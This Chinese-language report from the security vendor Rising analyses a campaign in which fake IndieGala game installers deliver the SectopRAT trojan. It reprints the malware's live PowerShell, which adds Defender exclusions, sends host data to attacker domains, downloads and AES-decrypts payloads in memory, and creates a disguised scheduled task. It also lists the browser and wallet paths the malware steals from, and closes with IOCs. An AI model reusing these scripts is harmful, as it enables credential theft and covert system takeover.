概述
近日,瑞星威胁情报平台接到用户反馈,发现一起针对游戏玩家的攻击活动。攻击者制作假冒IndieGala平台成人游戏的恶意安装包,并通过网络渠道进行传播。该攻击链采用多层加载技术:先由Advanced Installer打包器释放MSI安装包,再通过PowerShell脚本添加Windows Defender排除项并下载加密载荷,最终部署SectopRAT远控木马。该木马具备较完整的窃密能力,可窃取40余款浏览器中的凭据与Cookie、加密货币钱包数据以及键盘记录,并可通过隐藏远程桌面(HVNC)实现对受害主机的进一步控制。攻击者还利用BSC区块链智能合约作为备用C2通道,体现出一定的反追踪与持久化能力。
ATT&CK矩阵
| 战术 | 技术 | 具体行为 |
|---|---|---|
TA0002-执行 |
T1059-命令和脚本解释器 |
通过执行MSI文件内的PowerShell脚本进行下一步恶意操作 |
TA0002-执行 |
T1204-用户执行 |
通过仿冒成人游戏安装包诱导用户安装执行 |
TA0003-持久化 |
T1053-计划任务/作业 |
通过计划任务启动恶意DLL文件 |
TA0003-持久化 |
T1176-浏览器扩展 |
SectopRAT会向浏览器注入恶意扩展 |
TA0005-防御规避 |
T1218-利用签名的二进制程序 |
通过msiexec.exe安装archive.msi |
TA0005-防御规避 |
T1562-削弱防御 |
通过PowerShell添加Windows Defender排除项 |
TA0005-防御规避 |
T1027-混淆过的文件或信息 |
olecli32ba_Win.dll从cmiaisupportSYS.dll偏移1534处读取加密数据,使用XOR解密后加载 |
TA0005-防御规避 |
T1218-利用签名的二进制程序 |
通过rundll32.exe加载恶意DLL文件 |
TA0006-凭证访问 |
T1539-窃取Web会话Cookie |
SectopRAT可以窃取浏览器保存的Cookie |
TA0006-凭证访问 |
T1555-密码存储的凭据 |
SectopRAT可以窃取浏览器保存的登录凭据 |
TA0007-环境发现 |
T1082-收集系统信息 |
archive.msi将收集的系统信息发送至C2服务器 |
TA0008-横向移动 |
T1021-远程服务 |
SectopRAT可以创建隐藏的远程桌面会话 |
TA0009-收集信息 |
T1113-屏幕截图 |
SectopRAT具有屏幕截图功能 |
TA0009-收集信息 |
T1056-捕获用户输入 |
SectopRAT具有键盘记录功能 |
TA0009-收集信息 |
T1005-来自本地系统的数据 |
SectopRAT收集受害者系统硬件和软件信息 |
TA0010-外传信息 |
T1041-通过C2通道外传 |
SectopRAT将窃取的浏览器凭据、加密货币钱包、键盘记录等数据直接回传至C2服务器 |
TA0011-指挥与控制 |
T1008-备用通道 |
SectopRAT会在主C2服务器失效的情况下尝试通过BSC区块链获取备用的C2地址 |
TA0011-指挥与控制 |
T1105-文件传输工具 |
archive.msi下载并安装恶意MSI文件 |
事件详情
攻击流程
femdom-first-timers.exe作为Advanced Installer打包的安装器启动,解析SFX表项,释放decoder.dll和archive.7z。decoder.dll被动态加载,解压archive.7z,释放出archive.msi文件。archive.msi通过msiexec静默安装,执行内嵌PowerShell脚本,添加Windows Defender排除项,向statmanagers3.com发送系统信息。- PowerShell脚本从
https://main45.b-cdn.net/new26/MicrosoftEdgeUpdateTaskMachineCoreB.msi下载第二阶段MSI文件,保存至C:\ProgramData\目录。 - PowerShell脚本从
https://main45.b-cdn.net/new26/new30h.jar下载加密载荷,使用AES-CBC解密后在内存中执行,并向C2发送安装状态。 MicrosoftEdgeUpdateTaskMachineCoreB.msi随后被静默安装,释放olecli32ba_Win.dll和cmiaisupportSYS.dll至C:\ProgramData\Microsoft\NetFramework\。MSI创建伪装成OneDrive更新的计划任务,通过rundll32.exe调用olecli32ba_Win.dll的ApiNet导出函数。olecli32ba_Win.dll从cmiaisupportSYS.dll偏移1534处读取加密数据,使用XOR解密后加载SectopRAT。SectopRAT连接C2服务器179.61.145.140:443,窃取浏览器凭据、加密货币钱包、键盘记录,并建立隐藏远程桌面会话。

样本分析
femdom-first-timers.exe分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | femdom-first-timers.exe |
| 文件大小 | 2432 KB |
| 文件MD5 | ffe2ff47c84b19f4e30b83fadf9da510 |
| 文件类型 | EXE |
| 主要功能 | 解压并启动恶意文件和游戏文件 |
该样本的特殊性在于其作为由Advanced Installer打包的安装器,SFX表项指向外部Game\archive*.7z文件,解压源来自同目录而非EXE内嵌资源。
样本在自身文件尾部搜索ADVINSTSFX签名,回退读取SFX头部并校验字段,随后解析表项。
int open_self_and_parse_sfx_table(State *st)
{
HANDLE h = CreateFileW(st->self_path, GENERIC_READ, FILE_SHARE_READ, 0,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (h == INVALID_HANDLE_VALUE) return ERR_OPEN;
if (find_sfx_header_in_file(h, &st->sfx_hdr) != 0)
return ERR_SFX_HDR;
return parse_sfx_tables(st); // 解析条目表与名称表
}
样本首先解析SFX条目表与名称索引,随后通过类型、标记或名称表索引定位待解压条目(如archive.7z、archive-FILES.7z)。
// 0x18 字节条目结构
typedef struct _SFX_ENTRY_RAW {
uint32_t flag;
uint32_t type;
uint32_t reserved;
uint32_t size;
uint32_t begin;
uint32_t name_len;
} SFX_ENTRY_RAW;
int parse_sfx_entry_table(State *st)
{
while (ReadFile(st->hFile, &raw, 0x18, &n, 0) && n)
{
wchar_t *name = ReadUtf16(st->hFile, raw.name_len);
Entry e = { raw.flag, raw.type, raw.size, raw.begin, name };
st->entries.push_back(e);
}
return 0;
}
int find_entry_index_by_type_flag(State *st, int type, int flag)
{
for (int i = 0; i < st->entries.size(); i++)
if (st->entries[i].type == type && st->entries[i].flag == flag)
return i;
return -1;
}
本样本解析出的条目与名称索引如下:
| type | name | size | begin | 备注 |
|---|---|---|---|---|
| 8 | decoder.dll | 0x2DA00 | 0x230400 | 内嵌条目 |
| 3 | femdom-first-timers.ini | 0x312 | 0x25DE00 | 内嵌条目 |
| 7 | Game\archive.7z | – | 0x7 | 外部文件条目 |
| 6 | Game\archive-FILES.7z | – | 0x6 | 外部文件条目 |
随后构造解压路径,按“基础路径 + 条目名称”的方式完成拼接。
const wchar_t *select_base_path(State *st)
{
return st->base_path[0] ? st->base_path : GetCurrentDir();
}
wchar_t *normalize_dir_path(const wchar_t *base)
{
return EnsureTrailingSlash(base);
}
wchar_t *build_entry_path_with_base(State *st, const wchar_t *entry_name)
{
const wchar_t *base = select_base_path(st);
wchar_t *dir = normalize_dir_path(base);
return wcscat(dir, entry_name);
}
接着,样本动态加载解压DLL decoder.dll,并解析其导出函数:InitExtraction、GetTotalFilesSize、ExtractAllFiles、EndExtraction。
bool load_extraction_dll_and_bind_exports(const wchar_t *dll_path)
{
HMODULE h = LoadLibraryW(dll_path);
if (!h) return false;
InitExtraction = (FN_Init) GetProcAddress(h, "InitExtraction");
GetTotalFilesSize= (FN_Total) GetProcAddress(h, "GetTotalFilesSize");
ExtractAllFiles = (FN_Extract)GetProcAddress(h, "ExtractAllFiles");
EndExtraction = (FN_End) GetProcAddress(h, "EndExtraction");
return true;
}
随后,样本为每个解压条目初始化上下文,包括打开源文件、设置偏移和大小、复制输出目录等,并继续完成总大小统计与解压任务执行。
int init_extraction_context(Ctx *ctx, const wchar_t *archive_path,
uint32_t begin, uint32_t size,
const wchar_t *out_dir)
{
ctx->hFile = CreateFileW(archive_path, GENERIC_READ, FILE_SHARE_READ, 0,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
ctx->begin = begin;
ctx->size = size;
wcscpy(ctx->out_dir, EnsureTrailingSlash(out_dir));
return InitExtraction(ctx);
}
int build_and_run_extraction_plan(State *st, Selection *sel)
{
for (int i = 0; i < sel->count; i++)
{
init_extraction_context(...);
uint64_t total = GetTotalFilesSize(ctx);
ctx->total_size = total;
}
CreateThread(0, 0, thread_entry_unpack200_chain, ¶m, 0, &tid);
return 0;
}
int execute_extraction_tasks(TaskList *tasks)
{
for (int i = 0; i < tasks->count; i++)
{
int rc = ExtractAllFiles(tasks->items[i]);
EndExtraction(tasks->items[i]);
if (rc != 0) return rc;
}
return 0;
}
最后,样本根据名称表索引分别定位type=7与type=6的条目,拼接源路径后构建并执行archive.7z与archive-FILES.7z的解压计划。
// type=7 -> Game\archive.7z
int idx_main = find_name_table_index_by_type(st, 7);
if (idx_main >= 0) {
wchar_t *src = build_entry_path_with_base(st, st->name_table[idx_main].name);
uint64_t total = GetTotalFilesSizeForEntry(st, src);
if (!check_disk_space(total, target_path)) return ERR_SPACE;
build_and_run_extraction_plan(st, src, target_path);
}
// type=6 -> Game\archive-FILES.7z
int idx_files = find_name_table_index_by_type(st, 6);
if (idx_files >= 0) {
wchar_t *src = build_entry_path_with_base(st, st->name_table[idx_files].name);
build_and_run_extraction_plan(st, src, target_path);
}
archive.7z解压完成后,样本进入MSI安装流程:从解压目录拼接MSI路径,构造msiexec.exe命令行,最终通过CreateProcessW执行安装。
wchar_t *resolve_msi_from_extract_dir(const wchar_t *extract_dir)
{
return build_path(extract_dir, L"<msi_name>.msi");
}
int build_msiexec_cmdline(wchar_t *cmd, size_t cap,
const wchar_t *msi_path,
const wchar_t *setup_exe,
const wchar_t *setup_dir,
const wchar_t *extra_args,
int mode, int ui_opt)
{
const wchar_t *op = (mode == MODE_PATCH) ? L"/p" :
(mode == MODE_REPAIR) ? L"/fvomus" : L"/i";
const wchar_t *ui = (ui_opt == UI_B) ? L"/qb" : L"/q";
wsprintf(cmd,
L"\"%s\" %s \"%s\" %s AI_SETUPEXEPATH=\"%s\" SETUPEXEDIR=\"%s\" %s",
L"msiexec.exe", op, msi_path, ui, setup_exe, setup_dir, extra_args);
return 0;
}
int run_msi_after_archive_extract(const wchar_t *extract_dir,
const wchar_t *setup_exe,
const wchar_t *setup_dir,
const wchar_t *extra_args,
int mode, int ui_opt)
{
wchar_t *msi_path = resolve_msi_from_extract_dir(extract_dir);
wchar_t cmd[2048];
build_msiexec_cmdline(cmd, _countof(cmd),
msi_path, setup_exe, setup_dir,
extra_args, mode, ui_opt);
return CreateProcessW(0, cmd, 0, 0, FALSE, 0, 0, 0, &si, &pi);
}
archive-FILES.7z解压完成后,样本会先在任务线程中按条目执行解压并清理上下文。
int execute_extraction_tasks(TaskList *tasks)
{
for (int i = 0; i < tasks->count; i++)
{
int rc = ExtractAllFiles(tasks->items[i]);
EndExtraction(tasks->items[i]);
if (rc != 0) return rc;
}
return 0;
}
随后回到主流程分发安装逻辑,优先进入MSI分支,否则执行解压出的EXE安装入口:
int dispatch_install_after_extract(const wchar_t *msi_path, const wchar_t *exe_path)
{
if (msi_path) {
return CreateProcessW(0, build_msiexec_cmd(msi_path), 0, 0, FALSE, 0, 0, 0, &si, &pi);
}
if (exe_path) {
return CreateProcessW(exe_path, 0, 0, 0, FALSE, 0, 0, 0, &si, &pi);
}
return 0;
}
archive.msi分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | archive.msi |
| 文件大小 | 2494 KB |
| 文件MD5 | 98234cf7e92ae98a36bb321a3c5b55f1 |
| 文件类型 | MSI |
| 病毒名 | Trojan.Dyloader/PS!1.13C1C |
| 主要功能 | 添加Windows Defender排除项,收集系统信息,在内存中执行恶意载荷,并下载和安装恶意MSI文件 |
该安装包会先后执行两段PowerShell代码。

第一段脚本用于添加Defender排除项:路径包括C:\、%ProgramData%、%APPDATA%,进程包括powershell.exe、rundll32.exe、msiexec.exe,扩展名包括exe、msi、dll。
Add-MpPrefer`ence -ExclusionPath "$env:programdata", "$env:APPDATA", "C:\\"
Add-MpPrefer`ence -ExclusionProcess "powershell.exe", "rundll32.exe", "msiexec.exe"
Add-MpPrefer`ence -ExclusionExtension "exe", "msi", "dll"
脚本随后通过ASCII字符数组混淆C2服务器域名statmanagers3.com,并向其发送注册请求。
$Jxsajfdp = -join([[]char[[][]][]](115,116,97,116,109,97,110,97,103,101,114,115,51,46,99,111,109))
Invoke-Web`Request -Uri ("$Jxsajfdp/?status=reg&key=9iwuerfszxlxc&site=Barto_$CjGfwZps") -UseBasicParsing
之后,脚本收集系统信息,包括操作系统、计算机域名以及已安装的杀毒软件列表。
$kRTibjNm = (Get-CimInstance Win32_OperatingSystem).Caption -replace ' ', '%20'
$BMByrFkc = [[]System.Net.WebUtility[]]::UrlEncode($kRTibjNm)
$nMcLiAIr = (Get-CimInstance Win32_ComputerSystem).Domain
$xRWzhOJN = Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName AntiVirusProduct
$SxeYWFbd = $xRWzhOJN | ForEach-Object {
$_.displayName
}
$NPnWCSGk = $SxeYWFbd -join ", "
收集完成后,相关系统信息会被发送至C2服务器。
$IclKMOFm = "$Jxsajfdp/?status=start&av=$NPnWCSGk&os=$BMByrFkc&domain=$nMcLiAIr"
try {
$response = Invoke-RestMethod -Uri $IclKMOFm -Method GET
}
catch {
if ($_.Exception.Response.StatusCode -eq 'ServiceUnavailable') {
exit
}
}
脚本还会检测当前是否存在调试器附加,若检测到则直接退出。
if ([[]System.Diagnostics.Debugger[]]::IsAttached) {
exit
}
随后,恶意MSI文件会被下载至C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi。
Sleep -m(Random -Min 166 -Max 999)
(New-Object Net.WebClient).DownloadFile('https://main45.b-cdn.net/new26/MicrosoftEdgeUpdateTaskMachineCoreB.msi', "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi");
Sleep -m(Random -Min 1323 -Max 2236)
第二段脚本负责使用AES-CBC解密下载的载荷并在内存中直接执行,随后再向C2服务器发送安装完成通知。
- AES Key:
2B 7E 15 16 28 AE D2 A6 AB F7 15 88 09 CF 4F 3C 76 2E 71 60 F3 8B 4D A1 6C 94 0A 25 8F 4A 89 C7 - AES IV:
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
&{
$k = [[]byte[[][]][]](0x2B,0x7E,0x15,0x16,0x28,0xAE,0xD2,0xA6,0xAB,0xF7,0x15,0x88,0x09,0xCF,0x4F,0x3C,0x76,0x2E,0x71,0x60,0xF3,0x8B,0x4D,0xA1,0x6C,0x94,0x0A,0x25,0x8F,0x4A,0x89,0xC7)
$v = [[]byte[[][]][]](0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15)
$w = New-Object Net.WebClient
try {
$e = $w.DownloadData('https://main45.b-cdn.net/new26/new30h.jar')
} catch {
exit
}
$a = [[]Security.Cryptography.Aes[]]::Create()
$a.Key = $k
$a.IV = $v
$a.Mode = 'CBC'
$d = $a.CreateDecryptor()
$m = New-Object IO.MemoryStream
$c = New-Object Security.Cryptography.CryptoStream($m, $d, 'Write')
$c.Write($e, 0, $e.Length)
$c.Close()
$b = $m.ToArray()
[[]Reflection.Assembly[]]::Load($b).EntryPoint.Invoke($null, @())
}
Invoke-WebRequest -Uri ("$Jxsajfdp/?status=install") -UseBasicParsing
最后,脚本静默安装恶意MSI文件C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi。
C:\Windows\System32\msiexec.exe /i "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi" /qn /norestart
MicrosoftEdgeUpdateTaskMachineCoreB.msi分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | MicrosoftEdgeUpdateTaskMachineCoreB.msi |
| 文件大小 | 4772 KB |
| 文件MD5 | 4fbe9a06ae1992584eafd53bb5b2ef77 |
| 文件类型 | MSI |
| 主要功能 | 创建计划任务,通过rundll32执行释放的恶意DLL |
该安装包同样会执行PowerShell代码。

脚本会先生成随机任务名称,并将其伪装为OneDrive更新任务。
$num = Get-Random -Minimum 10000000000 -Maximum 99999999999
$TaskName = "OneDrive Standalone Update Task-S-1-5-21-3829038537-938744780-V$num"
随后创建计划任务,通过rundll32执行恶意DLL C:\ProgramData\Microsoft\NetFramework\olecli32ba_Win.dll中的导出函数ApiNet。
$action = New-ScheduledTaskAction -Execute "C:\Windows\System32\rundll32.exe" -Argument 'C:\ProgramData\Microsoft\NetFramework\olecli32ba_Win.dll, ApiNet'
$trigger = New-ScheduledTaskTrigger -AtLogOn
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive -RunLevel Limited
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
Register-ScheduledTask -TaskName $TaskName -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force
经过随机延迟后,计划任务被启动。
Start-Sleep -Milliseconds (Get-Random -Minimum 2000 -Maximum 3000)
Start-ScheduledTask -TaskName $TaskName
olecli32ba_Win.dll分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | olecli32ba_Win.dll |
| 文件大小 | 740 KB |
| 文件MD5 | 253f7fef0c2c960b491e199bf838fd28 |
| 文件类型 | DLL |
| 病毒名 | Trojan.Loader!1.13C1D |
| 主要功能 | 在内存中解密cmiaisupportSYS.dll中的载荷并加载SectopRAT |
该样本通过延迟执行器封装其核心逻辑:解析目标路径、处理文件并完成载荷加载执行。
public virtual void Run()
{
this._delayExecutor.Execute(delegate
{
string path = this._pathResolver.Resolve();
byte[] payload = this._processor.Process(path, 1534);
this._executor.Execute(payload);
});
}
路径解析器返回固定拼接路径C:\ProgramData\Microsoft\NetFramework\cmiaisupportSYS.dll。
private string BuildPath()
{
return string.Concat(this._parts);
}
// _parts = {"C:\\ProgramData\\", "Microsoft\\", "NetFramework\\", "cmiaisupportSYS.dll"}
数据处理器从该路径读取文件,并在固定偏移1534处解析数据结构并执行解密。
byte[] Process(string path, int offset = 1534)
{
data = ReadData(path);
ValidateOffset(data, offset);
len = ExtractLength(data, offset);
pos = offset + 4;
ValidateLength(data, pos, len);
cipher = ExtractCipher(data, pos, len);
VerifyMarker(data, pos + len);
return DecryptData(cipher);
}
样本首先检查目标文件是否存在;若不存在则抛出FileNotFoundException,否则读取整个文件的字节数据。
if (!File.Exists(path))
throw new FileNotFoundException();
return File.ReadAllBytes(path);
随后校验长度字段以及密文、标记区间是否越界,若异常则中断执行。
if (offset + 4 > data.Length)
throw new InvalidDataException();
if (pos + len + GetMarker().Length > data.Length)
throw new InvalidDataException();
在完成边界检查后,样本解析4字节长度字段,并通过Buffer.BlockCopy提取密文。
int len = BitConverter.ToInt32(data, offset);
byte[] cipher = new byte[len];
Buffer.BlockCopy(data, pos, cipher, 0, len);
之后,样本校验尾部标记DE AD C0 DE,若不匹配则抛出InvalidDataException。
byte[] marker = GetMarker();
for (int i = 0; i < marker.Length; i++)
{
if (data[pos + i] != marker[i])
throw new InvalidDataException();
}
解密阶段使用固定32字节key(0x00..0x1F)进行循环XOR,并按1024字节分块处理。
byte[] key = GetKey(); // 0x00..0x1F
int block = 1024;
for (int i = 0; i < cipher.Length; i += block)
{
int n = Math.Min(block, cipher.Length - i);
for (int j = 0; j < n; j++)
{
int idx = i + j;
cipher[idx] ^= key[idx % key.Length];
}
}
Array.Clear(key, 0, key.Length);
最终,执行器将解密后的字节作为.NET程序集加载到内存,并调用其入口点。
Assembly asm = Assembly.Load(data);
MethodInfo entry = asm.EntryPoint;
entry.Invoke(null, args);
SectopRAT分析
与命令控制服务器建立加密通信,接收指令并上传窃取的数据
IP地址: 179.61.145.140
端口: 443 (HTTPS)
版本标识: bart_v16_2
加密密钥: o20+0fZd5wC5/W4p4s9Us8GRgr7NeZjyDmvKHVV922s=
使用Windows CryptoAPI进行AES解密,用于解密浏览器存储的敏感数据
BCryptOpenAlgorithmProvider
BCryptCloseAlgorithmProvider
BCryptDecrypt
BCryptDestroyKey
BCryptGetProperty
BCryptSetProperty
BCryptImportKey
AES
Microsoft Primitive Provider
AuthTagLength
ObjectLength
KeyDataBlob
DPAPI
针对40+款浏览器窃取登录凭据、Cookie、支付信息等敏感数据
%USERPROFILE%\AppData\Local\Chromium\User Data
%USERPROFILE%\AppData\Local\Google\Chrome\User Data
%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data
%USERPROFILE%\AppData\Roaming\Opera Software\
%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data
%USERPROFILE%\AppData\Local\Iridium\User Data
%USERPROFILE%\AppData\Local\7Star\7Star\User Data
%USERPROFILE%\AppData\Local\CentBrowser\User Data
%USERPROFILE%\AppData\Local\Chedot\User Data
%USERPROFILE%\AppData\Local\Vivaldi\User Data
%USERPROFILE%\AppData\Local\Kometa\User Data
%USERPROFILE%\AppData\Local\Elements Browser\User Data
%USERPROFILE%\AppData\Local\Epic Privacy Browser\User Data
%USERPROFILE%\AppData\Local\uCozMedia\Uran\User Data
%USERPROFILE%\AppData\Local\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
%USERPROFILE%\AppData\Local\CatalinaGroup\Citrio\User Data
%USERPROFILE%\AppData\Local\Coowon\Coowon\User Data
%USERPROFILE%\AppData\Local\liebao\User Data
%USERPROFILE%\AppData\Local\QIP Surf\User Data
%USERPROFILE%\AppData\Local\Orbitum\User Data
%USERPROFILE%\AppData\Local\Comodo\Dragon\User Data
%USERPROFILE%\AppData\Local\Amigo\User\User Data
%USERPROFILE%\AppData\Local\Torch\User Data
%USERPROFILE%\AppData\Local\Yandex\YandexBrowser\User Data
%USERPROFILE%\AppData\Local\Comodo\User Data
%USERPROFILE%\AppData\Local\360Browser\Browser\User Data
%USERPROFILE%\AppData\Local\Maxthon3\User Data
%USERPROFILE%\AppData\Local\K-Melon\User Data
%USERPROFILE%\AppData\Local\Sputnik\Sputnik\User Data
%USERPROFILE%\AppData\Local\Nichrome\User Data
%USERPROFILE%\AppData\Local\CocCoc\Browser\User Data
%USERPROFILE%\AppData\Local\Uran\User Data
%USERPROFILE%\AppData\Local\Chromodo\User Data
%USERPROFILE%\AppData\Local\Mail.Ru\Atom\User Data
%USERPROFILE%\AppData\Local\BraveSoftware\Brave-Browser\User Data
%USERPROFILE%\AppData\Local\Microsoft\Edge\User Data
%USERPROFILE%\AppData\Local\CryptoTab Browser\User Data
%USERPROFILE%\AppData\Roaming\Mozilla\Firefox
%USERPROFILE%\AppData\Roaming\Waterfox
%USERPROFILE%\AppData\Roaming\K-Meleon
%USERPROFILE%\AppData\Roaming\Thunderbird
%USERPROFILE%\AppData\Roaming\Comodo\IceDragon
%USERPROFILE%\AppData\Roaming\8pecxstudios\Cyberfox
%USERPROFILE%\AppData\Roaming\NETGATE Technologies\BlackHaw
%USERPROFILE%\AppData\Roaming\Moonchild Productions\Pale Moon
窃取多种加密货币钱包文件和浏览器扩展钱包数据
Coinomi |*| %appdata% |*| Coinomi
Jaxx |*| %appdata% |*| com.liberty.jaxx
%appdata%\exodus
MetaC (MetaMask)
CBitB (Coinbase)
AtomL (Atomic Wallet)
恶意软件通过扩展ID定位浏览器钱包扩展目录,窃取钱包私钥和助记词
| 扩展ID | 扩展名称 |
|---|---|
| nkbihfbeogaeaoehlefnkodbefgpgknn | MetaMask |
| hnfanknocfeofbddgcijnmhnfnkdnaad | Coinbase Wallet |
| ibnejdfjmmkpcnlpebklmnkoeoihofec | TronLink |
| fnjhmhkhmkbjkkabndcnnogagogbneec | Phantom |
| blnieiiffboillknjnepogjhkgnoapac | Trust Wallet |
| cjelfplplebdjjenllpjcblmjkfcffne | Keplr |
| amkmjjmmflddogmhpjloimpibofnfjih | Solflare |
| afbcbjpbpfadlkmhmclhkeeodmamcflc | Math Wallet |
| fhbohimaelbohpjbbldcngcnapdodjp | Binance Chain Wallet |
| hpglfhgfnhbgpjdenjgmdgoeiappafln | Guarda |
| fihkakfobkmkjojpchpfgcmhfjnmnfpi | BitApp Wallet |
| kncchdigobghenbbaddojjnnaogfppfj | iWallet |
| nkddgncdjgjfcddamfgcmfnlhccnimig | Saturn |
| aiaifbnbfobpmeekipheeijimdpnlpgpp | Station Wallet |
| cgeeodpfagjceefieflmdfphplkenlfk | EVER Wallet |
| padjkfkcgafgbcceimcpbkalnfnepbnk | 未知 |
| fnnegphlobjdpkhecapkjjdkgcjhkib | 未知 |
| aeachknmefphepccionbohckonoeemg | 未知 |
| fhilaheimglignddkjgofkcbgekehenbh | 未知 |
| nlbmnnijcnlegkjjpcfjclmcfcgfefdm | 未知 |
| nanjmdknhkinifnkgdcggcfnhdaaammj | 未知 |
| odbfpeeihdkbihmopkbjmooonfanlbfc | 未知 |
| zfnbelfdoeiohenkjibnmadjiehjhajb | 未知 |
| jbdaocneiiiinmjbjlgalhcelgbejmnid | 未知 |
当硬编码的C2服务器179.61.145.140失效时,恶意软件通过BSC区块链获取备用的C2地址,这种方式具有抗封禁特性
# BSC公共RPC节点(备用C2数据源)
https://bsc-dataseed1.binance.org/
https://bsc-dataseed2.binance.org/
https://bsc-dataseed3.binance.org/
https://bsc-dataseed4.binance.org/
https://bsc-dataseed1.defibit.io/
https://bsc-dataseed2.ninicoin.io/
# 智能合约调用获取C2
合约地址: 0x67b4af41467a51e0816752a6b223c7c55ae71957
函数选择器: 0x6d4ce63c (get())
{"method": "eth_call", "params": [{"to": "0x67b4af41467a51e0816752a6b223c7c55ae71957", "data": "0x6d4ce63c"}, "latest"]}
创建隐藏的远程桌面会话,允许攻击者在用户不知情的情况下操作受害者系统
HVNC
#32768
MozillaDialogClass
stream start received
stream started succces
Chrome will start with cmd
Executing chrome/brave/edge/firefox
--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync
--disable-gpu-program-cache --disable-gpu --disable-d3d11
--disable-flash-3d --no-sandbox
向浏览器注入恶意扩展,实现持久化控制和流量劫持
manifest.json
background.js
content.js
# 恶意扩展请求的危险权限
{
"active_permissions": {
"api": [
"cookies",
"notifications",
"privacy",
"proxy", // 代理设置 - 可劫持流量
"storage",
"tabs",
"webNavigation",
"webRequest", // 可监控所有网络请求
"webRequestBlocking"
],
"explicit_host": [
"*://*/*",
"<all_urls>",
"chrome://favicon/*",
"http://*/*",
"https://*/*"
],
"scriptable_host": ["*://*/*"]
}
}
记录用户键盘输入,捕获密码和敏感信息
LControlKey -> [CTRL]
RControlKey -> [CTRL]
LShiftKey -> [Shift]
RShiftKey -> [Shift]
Space -> [Space]
Back -> [Back]
[CAPSLOCK: OFF]
[ESC]
[Tab]
[ENTER]
{"Type":"NewKeyLog","Data":"..."}
提供交互式远程命令执行能力,完全控制受害者系统
powershell
cmd.exe
C:\Windows\System32\cmd.exe
/C start iexplore.exe -extoff -nomerge -noframemerging
shell session
ReceiveShellJoinCommand
{"Type":"RetFileManager","Command":"Delete"}
{"Type":"RetFileManager","Command":"GetPath"}
{"Type":"RetFileManager","Command":"GetBytes"}
收集受害者系统硬件和软件信息,用于指纹识别
# WMI查询
SELECT Caption FROM Win32_OperatingSystem
SELECT CommandLine FROM Win32_Process WHERE ProcessId = {0}
SELECT * FROM Win32_Processor
SELECT * FROM Win32_VideoController
SELECT * FROM Win32_DiskDrive
SELECT * FROM Win32_Process WHERE SessionId='...'
# 检测VPS/RDP环境
no monitor detected, may be VPS/RDP
# 其他应用
%USERPROFILE%\AppData\Local\NVIDIA Corporation\NVIDIA GeForce Experience
%USERPROFILE%\AppData\Local\Steam
%USERPROFILE%\AppData\Local\Battle.net
屏幕截图
image/jpeg
{"Type":"ScreenFloat","Data":"..."}
攻击过程可视化(EDR)
瑞星EDR详细记录了主机上的程序活动。借助威胁可视化调查功能,可以对本次攻击过程进行还原,并展示相关进程、域名等关联关系。下图展示了此次攻击活动中涉及的主要进程及相关网络基础设施。


总结
在游戏娱乐产业快速发展的背景下,游戏玩家群体正成为网络攻击者重点关注的目标。此次针对IndieGala平台游戏的假冒安装包攻击事件,暴露出游戏分发渠道在内容可信性和传播链路上的安全隐患。攻击者通过精心伪装的恶意安装包,利用玩家对相关游戏内容的兴趣,诱导用户主动下载并执行恶意程序,从而绕过部分传统安全防护机制。
用户在下载游戏及其他软件时,应尽量选择官方或可信渠道,避免从来源不明的网站、论坛或社群中获取安装包。同时,建议启用多层安全防护措施,并及时更新安全软件病毒库,以降低此类威胁的入侵风险。
预防措施
-
不打开可疑文件。
避免打开未知来源的可疑文件和邮件,防范社会工程学攻击与钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可结合威胁情报对威胁行为轨迹进行追溯,帮助用户分析威胁行为、定位威胁源与攻击目标,并还原攻击手段和路径,从而更大范围地发现受影响节点,提升企业响应与处置效率。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可对恶意文档、木马程序等威胁进行拦截和查杀。即使用户误下载恶意文件,也能在一定程度上阻止其运行,从而保护终端安全。
瑞星
ESM目前已经可以检出此次攻击事件的相关样本。

- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
ffe2ff47c84b19f4e30b83fadf9da510 98234cf7e92ae98a36bb321a3c5b55f1 4fbe9a06ae1992584eafd53bb5b2ef77 253f7fef0c2c960b491e199bf838fd28 -
Domain
main45.b-cdn.net dns-providersa2.com statmanagers3.com -
IPV4
179.61.145.140 -
瑞星病毒名
Trojan.Dyloader/PS!1.13C1C Trojan.Loader!1.13C1D